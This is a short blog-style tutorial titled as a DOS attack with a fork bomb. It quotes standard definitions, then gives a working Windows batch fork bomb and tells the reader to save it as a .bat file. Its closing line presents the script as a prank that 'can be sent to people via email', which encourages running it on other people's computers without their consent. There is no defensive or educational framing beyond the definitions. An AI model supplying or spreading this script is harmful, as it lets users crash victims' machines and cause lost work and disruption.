DOS attack using Fork Bomb

Hey guys,hope you all are doing well! I am sure many of you have heard of DOS attacks today we will be making a DOS attack using a Fork Bomb so before we start as always let's get the basic definitions out of the way

DOS :-In computing, a denial-of-service attack (DoS attack) is a cyber-attack where the perpetrator seeks to make a machine or network resource unavailable to its intended users by temporarily or indefinitely disrupting services of a host connected to the Internet. Denial of service is typically accomplished by flooding the targeted machine or resource with superfluous requests in an attempt to overload systems and prevent some or all legitimate requests from being fulfilled.[1]

Fork Bomb :-In computing, a fork bomb (also called rabbit virus or wabbit[1]) is a denial-of-service attack wherein a process continually replicates itself to deplete available system resources, slowing down or crashing the system due to resource starvation.

So in simple terms you make a set of instruction and it executes itself continuously   (replicates) until it dumps the memory of the computer it's also called rabbit virus.


Open notepad and type

:fork
start %0
%0|%0
goto :fork

Then save the file as a .bat and there you go you have a fork bomb.

Don't worry you can get rid of this by force restarting your computer it's pretty neat trick to mess around and can be sent to people via email.
